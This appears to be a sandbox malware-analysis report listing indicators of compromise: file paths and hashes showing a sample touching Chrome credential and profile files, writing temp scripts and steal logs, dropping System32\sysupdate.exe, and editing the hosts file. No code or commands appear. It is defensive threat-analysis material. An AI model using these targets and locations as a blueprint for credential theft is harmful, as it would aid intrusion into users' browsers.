- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 604e51c0bde4026d4321d95e921c2bf1aa305d987476fb700046d7c207670cd6
- MD5 212e7cc39bf1ab3f54d36d7ea93367a2
- SHA1 4d2aea3106a5a86a5f146c82fc5d862a8b8e6c5c
- SHA512 1bcb8b838163c9ae705416d4423198c4175689f38b6b318b39b3290d69e186c165ce9beaeeb06e909185e7e20d830ddcfa1d36c6781107741b204b8d938b0865
- SSDEEP 192:IRhlXCXotMWezbv70pAPRp2dJlO9+Hsb+WNnfXAxx9i2gOkOeHa8erVyIsnAUge:IRhlSsezjgUX/8wvUHi2gnOSare
- TLSH T17042C62ABA50797B6CDEC229F9617763D3F6602624942E84E7FCC92C05D35CC322741B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 4c42406bd80cff63d6f39c51149fab1e4524ab12b2e06272ccff8b39e3717a99
- MD5 e3d98d1158b0268b204620763bdd3161
- SHA1 e1c7376afb0e8f648d30a169d7d195b295c98c04
- SHA512 2b3b129c9c6c953b2f5b740c76012442cff2192655607841d56d57687f3b3e33bfce1c06b8671b5e9e8e27db5885b3fa79021eee98a2e1bfc35cd42825355431
- SSDEEP 384:W4jyR7KxkXqKf/pUZNCgVLH2Hfgsl/97pLuLcMIpXODyJ+ErU3MrHGRxCJZM:WMyR7KxkXqKf/pUZNCgVLH2HfgsR97pq
- TLSH T1D572FA676C488E7B0F94C6CCD8267B4FADF5024B65E9C86452FA582903D5BCB11052FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 198d9ddeeb10d160b13ff968c7e295b17f9f9b127ef1a6081d4ae66c532f791d
- MD5 d44cfd02deee71fb0a5b4a89daa7beba
- SHA1 1c4fe82d1dedc11b83caabd947b2fa6efcc5d87a
- SHA512 f604327921423e2b2e60dd45e2d8251ae9b1fce9ed7e2c8776352b3b953ea3471a0ce51673f0dc53845f34bc3db9a8bce45f24ca235fadfdbc44add9b3004287
- TLSH T190B01200C0039201C04203F4158264887118EF20D72B2B0E83E16922E8292628414051
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe597323.TMP
- Size 96B
- SHA256 75280a4e016aa68a32a217dc256f3130757d88f95109436ccd1b3d9f995a6d57
- MD5 835ae635eb73ae8d8be4b1aaffa25e57
- SHA1 b4cbd76413ccfa81596b30e8908881c8493c486c
- SHA512 fb670099452e884aa59ab352bf7e49d58803a1c4eb5725af32ee2d46499ad9442dfe28121be01e5bc4aedd12b42a757bb6869947a3104748cc463fe5822d3469
- TLSH T1BFB02200C2023203C00283B02080B0C8B220EFA0C2830222B2E00A22CC202300028038
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 12f8681bde7dcc1f08d06a81ab396b8ed9bb54543fa4ad086388a7a9c85bf886
- MD5 ac8cb79f7ea51a4229606fd89ce92f4d
- SHA1 8517cc77f3f870a075b21cd99a4befead09595d0
- SHA512 2d27c1bcbf759edd8d039b056c5255d62dfa3322bd58888fd7f13e83a2ed4ef3be607fe6c90d3b4624fc45c3910c962ba9b7dcf8995b3012af2182bcf5927868
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OOzRVumGne5:1nbZeMrv/hGtO0ne5
- TLSH T19FD3A84B3A743006DDE68A722CE051BB5E3C716D8F55A5D528B620588EF2863B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 d24f25d4f43ee54c66a705b47d0c255dd10d37d1a5648a798bfaf45a139ec6e2
- MD5 9b6a33d59e23c4451fd216f6acadd5ba
- SHA1 0b151cb916381bfadc896ae25b1aa7c9373cf2bd
- SHA512 0fc7642a6440a5b52fc86d5cd01783abee5c82c4666e6d7d4bfd3c951f92349d85bc8bc27eda77578eeb98c982cb57aab314147fb1951157d465c005ce0e4674
- SSDEEP 1536:adAyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjt:+Cqfd7NtZL8cHQRZEQ6SpsS
- TLSH T18BC30237ABC21F339E93CB64B5130FD797B644A99034D301AAAE3BFB6883595644285C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 6dd7922711834f368151ec13ec11f93aa82def6325038def2c60c28d94b8a500
- MD5 2b8b076c5d13b99c348d1b366b9892e0
- SHA1 5b41c97c38d61fe45aaa1ed76717802085ba3ee0
- SHA512 cae9dbcc2e3498327427927b725abc906f3775cf9a620351eef09df32e80b93f27430c31ea78d7a73baed266185270fcdb8c37eba3462e0dbaa8a6426cd4824e
- SSDEEP 1536:bgLyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjY:8qfd7NtZL8cHQRZEQ6Sps3
- TLSH T189C30237ABC21F339D96CF64B9130FDA67B644A99030D301AAAD37EB7C93591684249C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 236KB
- SHA256 3ce9a8bc637f3073f84e523da8f814b9bd7ce818098b991b830285ccab9dc951
- MD5 74ae1e43187a60ed369db16b254a2899
- SHA1 5e4a075096861185a6270b11f9697d6c3f8a4a9e
- SHA512 dfab6bb43d50189f89a49d24f28337fd2ffec2942ea98a3e01a483488bd6775ee43d701cffb2e20c277598309519c327533eed85c201a70f6e13610e55c9face
- SSDEEP 3072:9sXbaetFgRMu3aimCWU0iOOX+kQhiFpqfd7NtZL8cHQRZEQ6SpsX:CXbaZRMEaimnDiBPpqZ/ZLW3ExX
- TLSH T17E342379AFD62F338EC2C63438670DD796760492C075EA41E6B9BB5B2A03A447C03D9C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 237KB
- SHA256 3a1e83bd1865da9d96a82109f26ab8c2beb62783f98ed94ee8375f1843a11fd1
- MD5 083373bde8a0c678aa03bd5ebf0b9e79
- SHA1 61708a94133f3d5f2827e73f53112ba827fd3026
- SHA512 a7ee967c77b8a4a70efc1113b966e8526e4afa1abfb9ce74a0b04d183e3435fbb0851f21073d3d8712a5b7daaf61d4bc2814f0f27152dd86e7e8f8f5276de81a
- SSDEEP 3072:rWXbaetFgRMu3aimCWU0iOOX+kQhiFpqfd7NtZL8cHQRZEQ6SpsX:rWXbaZRMEaimnDiBPpqZ/ZLW3ExX
- TLSH T11D341276AFD22E334EC2CA7478174ED79EB60483C175EA45E969BB4B2903A447C03C9C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sutbongtvv.io_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ri0uwso1.mr3.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 245B
- SHA256 d37691f7640ecd54c85058dc55589c75ecab35337add0a1225c9793438f54182
- MD5 fc9812b47205459bba9c816d80617845
- SHA1 0f897804c62789998aa37beef2558a0c0e31a0d1
- SHA512 715641e71d901d4ac10b64c41fd0b66445837f8a78f64fb9dff175b88131255278aea446477f7c360cb17940b8ba58566d2de9a2af4ddd4e28205e8b4d0c2c72
- TLSH T16BD0A58F7148C5A90005117741F38DCDE5F544683B137E705565DD4D355148545F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 246B
- SHA256 3ece30074aef5b19609c35dfe8535bd552e03b17d402123a9c6232af654f4fc5
- MD5 b19b958408eadf0f59f0abe55422fe45
- SHA1 34f53faf62c931ebec60fca7214d104bfb41a7ad
- SHA512 2f6f832324599ee555e28785f37ca66a5055ff162c7cba5478245d5332a263801c9b24513bbfb3ad6088396463a115dbc6e74333504c0bd090fbdae623e793ec
- TLSH T150D0A5CF7148C5A90005117B40F38DCDE6F144683F136E305565DD4E364144545F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 114KB
- SHA256 d2067af6ba6bccfdb15c1be9c30aad911d2ac23a0c658453e5e9a6535530b66e
- MD5 4c2b6d42ae8360e5f778d5a027aa672f
- SHA1 5dbbbae7462d5b06eaef4584d78235c3059340a4
- SHA512 044ab6421ab1a47ab55a0deb629165a97694df93f0ffb0cd8a0b548161bee8d9a7a1a2ef802d316b463aa157e05415174008d89044213027b8bdece512eab658
- SSDEEP 1536:1DWzNuMFR8YMvWJB30RxNH3HYtTmTEFkueRgLo8e:gP8nvmB30LRKO6cRg88e
- TLSH T136B3E415C6F69E6A54964BEB091736C0A03877B082ECD1FF31E6AA63F5728F3C358611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 114KB
- SHA256 d42468d9eb872871159558819a0349ef8380483c25dafe268f7d182fae2aa8d2
- MD5 c99a1596450a8916f3a065b4696c6703
- SHA1 34b57e593d2491815f5809660295e389d685da70
- SHA512 e58d5a63c86561a7586134b39a0d658efceb475f8570b22799a87d594134df74e572a067257793239b60e9499ef5b9c612a0e9a8291f9acf1f92e52eb849a100
- SSDEEP 1536:hDWzNuMFR8YMvWJB30RxNH3HYtTmTEFkueRgLo8O:MP8nvmB30LRKO6cRg88O
- TLSH T15FB3E415C2F69E6A54964BEB191736C0A03877B082ECD1FF31E6AA63F5728F3C358611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 1e9156661e450024bb8fb1ba3806d6c03cbf2b546200a4658800c4043b01b92b
- MD5 fe93561fe167452e09cc623cbf3b5b55
- SHA1 c29606b65216fcfdca952cec65becef67bf8a6d5
- SHA512 7ef5bd8921a27ce6a4050848d8d3e9c0acbf813f0b528ef858af3a8a94bec117c3575433ae1ae6987a3f79ec99cf9bba75d9abd8e3fb5e9bc0e662a5d19ff373
- SSDEEP 768:Fh9rjZ6fW/N9HQ2m28m4T//w4tC1XXGblfA0uKFcW:T9rEfKHF8PTQ4tEXGblf9uucW
- TLSH T17723E60477FD8511F1BF4ABA4DB196119B31F8979C22D78E0AD5058E1AB3740CEA8BB3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH